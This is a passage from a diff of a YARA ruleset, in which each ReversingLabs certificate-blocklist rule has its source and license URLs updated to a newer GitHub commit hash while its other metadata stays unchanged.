 		logic_hash = "3d8075e34fa3dc221bc2abc2630a93f32efbdde6df270a77b1d6b64d8ce56133"
 		score = 75
 		quality = 90
@@ -11131,8 +11184,8 @@ rule REVERSINGLABS_Cert_Blocklist_801689896Ed339237464A41A2900A969 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7240-L7258"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7240-L7258"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a371092cbf5a1a0c8051ba2b4c9dd758d829a2f0c21c86d1920164a0ae7751e6"
 		score = 75
 		quality = 90
@@ -11156,8 +11209,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Fd3661533Eef209153C9Afec3Ba4D8A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7260-L7276"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7260-L7276"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ce6c07b8ae54db03e4fa2739856a8d3dc2051c051a10c3c73501dad4296dde97"
 		score = 75
 		quality = 90
@@ -11181,8 +11234,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Ced87Bd70B092Cb93B182Fac32655F6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7278-L7294"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7278-L7294"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4e2c967b9502d9009c61831f019ba19367b866e898ca1246a1099d75ad0eb4d5"
 		score = 75
 		quality = 90
@@ -11206,8 +11259,8 @@ rule REVERSINGLABS_Cert_Blocklist_047801D5B55C800B48411Fd8C320Ca5B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7296-L7312"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7296-L7312"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ef26b4e3c658f53f3048d10bd1b7a2a198cd402e1b7c60e84adadb4f236ccb5d"
 		score = 75
 		quality = 90
@@ -11231,8 +11284,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F0Ed5318848703405D40F7C62D0F39A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7314-L7330"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7314-L7330"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "484932ddfe614fd5ab22361ab281cda62803c98279f938aa5237237fae6a95d6"
 		score = 75
 		quality = 90
@@ -11256,8 +11309,8 @@ rule REVERSINGLABS_Cert_Blocklist_4E7545C9Fc5938F5198Ab9F1749Ca31C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7332-L7348"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7332-L7348"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f6be57eb6744ad6d239a0a2cc1ec8c39c9dfd4e4eeb3be9e699516c259f617f0"
 		score = 75
 		quality = 90
@@ -11281,8 +11334,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Ddd3796A427B42F2E52D7C7Af0Ca54F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7350-L7366"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7350-L7366"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "804ab8c44e5d97d8e14f852d61094e90d1e3ace66316781e9e79ab46fc7db8e7"
 		score = 75
 		quality = 90
@@ -11306,8 +11359,8 @@ rule REVERSINGLABS_Cert_Blocklist_03B27D7F4Ee21A462A064A17Eef70D6C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7368-L7384"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7368-L7384"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b303751e354c346f73368de94b66a960dd12efa0730d2ab14af743810669ac81"
 		score = 75
 		quality = 90
@@ -11331,8 +11384,8 @@ rule REVERSINGLABS_Cert_Blocklist_B0A308Fc2E71Ac4Ac40677B9C27Ccbad : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7386-L7404"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7386-L7404"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "21fd7625399c939b6d03100b731709616d206a3811197af2b86991be9d89b4eb"
 		score = 75
 		quality = 90
@@ -11356,8 +11409,8 @@ rule REVERSINGLABS_Cert_Blocklist_61B11Ef9726Ab2E78132E01Bd791B336 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7406-L7422"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7406-L7422"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1a8e72f31039a5a5602d0314f017a2596a23e4a796dc66167dfefc0c9790e3e3"
 		score = 75
 		quality = 90
@@ -11381,8 +11434,8 @@ rule REVERSINGLABS_Cert_Blocklist_8Fe807310D98357A59382090634B93F0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7424-L7442"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7424-L7442"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ec56bd4783c854efef863050ff729fd99efa98b7b19e04e56a080ee3e75cd90"
 		score = 75
 		quality = 90
@@ -11406,8 +11459,8 @@ rule REVERSINGLABS_Cert_Blocklist_B97F66Bb221772Dc07Ef1D4Bed8F6085 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7444-L7462"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7444-L7462"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "794dc27ff9b2588d3f2c31cdb83e53616c604aa41da7d8c895034e1cf9da5dd8"
 		score = 75
 		quality = 90
@@ -11431,8 +11484,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fed006Fbf85Cd1C6Ba6B4345B198E1E6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7464-L7482"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7464-L7482"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0360c6760f1018f9388ef5639ab2306879134f33da12677f954fa31b8a71aa16"
 		score = 75
 		quality = 90
@@ -11456,8 +11509,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aa28C9Bd16D9D304F18Af223B27Bfa1E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7484-L7502"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7484-L7502"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "feaa8d645eea46c7cbbba4ba86c92184df7515a50f1f905ab818c59079a0c96a"
 		score = 75
 		quality = 90
@@ -11481,8 +11534,8 @@ rule REVERSINGLABS_Cert_Blocklist_19Beff8A6C129663E5E8C18953Dc1F67 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7504-L7520"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7504-L7520"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ec031c781ebad7447cfc53ce791aacc8f24e38f039c84e2ee547de64729ae76"
 		score = 75
 		quality = 90
@@ -11506,8 +11559,8 @@ rule REVERSINGLABS_Cert_Blocklist_029685Cda1C8233D2409A31206F78F9F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7522-L7538"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7522-L7538"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d541ce73e5039541ea221f27cc4d033f0c477e41a148206c26cc39ae07c4caaa"
 		score = 75
 		quality = 90
@@ -11531,8 +11584,8 @@ rule REVERSINGLABS_Cert_Blocklist_D609B6C95428954A999A8A99D4F198Af : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7540-L7558"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7540-L7558"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a124f80d599051ecd7c17e6818d181ea018db14c9f0514bbcc5b677ba3656d65"
 		score = 75
 		quality = 90
@@ -11556,8 +11609,8 @@ rule REVERSINGLABS_Cert_Blocklist_D3356318924C8C42959Bf1D1574E6482 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7560-L7578"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7560-L7578"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a672054a776d0715fc888578bcb559d24ef54b4c523f7d49a39ded2586c3140a"
 		score = 75
 		quality = 90
@@ -11581,8 +11634,8 @@ rule REVERSINGLABS_Cert_Blocklist_31D852F5Fca1A5966B5Ed08A14825C54 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7580-L7596"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7580-L7596"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8c98b856d53e6862e94042bb133f5739bddcec2e208e43961b23e244584c6ee4"
 		score = 75
 		quality = 90
@@ -11606,8 +11659,8 @@ rule REVERSINGLABS_Cert_Blocklist_17D99Cc2F5B29522D422332E681F3E18 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7598-L7614"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7598-L7614"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "55cc1634cdc5209d68b98fdb0d9e97e0a34346cdcb10f243d13217cda01195f1"
 		score = 75
 		quality = 90
@@ -11631,8 +11684,8 @@ rule REVERSINGLABS_Cert_Blocklist_6A568F85De2061F67Ded98707D4988Df : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7616-L7632"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7616-L7632"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "793be308a4df55c3b325e1ee3185159c4155f6dfabc311216d3763bd43680bd4"
 		score = 75
 		quality = 90
@@ -11656,8 +11709,8 @@ rule REVERSINGLABS_Cert_Blocklist_038Fc745523B41B40D653B83Aa381B80 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7634-L7650"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7634-L7650"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "016ca6dcb5c7c56c80e4486b84d97fb3869a959ef3e8392e4376a0a0de06092f"
 		score = 75
 		quality = 90
@@ -11681,8 +11734,8 @@ rule REVERSINGLABS_Cert_Blocklist_30Af0D0E6D8201A5369664C5Ebbb010F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7652-L7668"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7652-L7668"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "018e5a0fbeeaded2569b83e2f91230e0055a5ffa2059b7a064a5c2eda55ed2de"
 		score = 75
 		quality = 90
@@ -11706,8 +11759,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ac0A7B9420B369Af3Ddb748385B981 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7670-L7688"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7670-L7688"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2bc31eaa64be487cb85873a64b7462d90d1c28839def070ce5db7ae555383421"
 		score = 75
 		quality = 90
@@ -11731,8 +11784,8 @@ rule REVERSINGLABS_Cert_Blocklist_C167F04B338B1E8747B92C2197403C43 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7690-L7708"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7690-L7708"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8e0a11efc739baefe23a3d77e4eefc9dc23c74821c91fc219822dbc5dbb468b1"
 		score = 75
 		quality = 90
@@ -11756,8 +11809,8 @@ rule REVERSINGLABS_Cert_Blocklist_9272607Cfc982B782A5D36C4B78F5E7B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7710-L7728"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7710-L7728"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b1d6f27fb513542589a5c9011e501a9d298282bba6882eac0fc7bf3e6ebb291"
 		score = 75
 		quality = 90
@@ -11781,8 +11834,8 @@ rule REVERSINGLABS_Cert_Blocklist_45Eb9187A2505D8E6C842E6D366Ad0C8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7730-L7746"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7730-L7746"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4ae755e814ae2488d4bd6b8136ab6d78e4809a2ddacb7f88cf1d2b64c1488898"
 		score = 75
 		quality = 90
@@ -11806,8 +11859,8 @@ rule REVERSINGLABS_Cert_Blocklist_56Fff139Df5Ae7E788E5D72196Dd563A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7748-L7764"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7748-L7764"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4b58c83901605d8b43519f1bc2d4ac8dc10c794f027681378b2bee2a8ff81604"
 		score = 75
 		quality = 90
@@ -11831,8 +11884,8 @@ rule REVERSINGLABS_Cert_Blocklist_E161F76Da3B5E4623892C8E6Fda1Ea3D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7766-L7784"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7766-L7784"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "883545593b48aa11c11f7fa1a1f77c62321ea86067f1ed108dcd00c8c6cd3495"
 		score = 75
 		quality = 90
@@ -11856,8 +11909,8 @@ rule REVERSINGLABS_Cert_Blocklist_9Ae5B177Ac3A7Ce2Aadf1C891B574924 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7786-L7804"
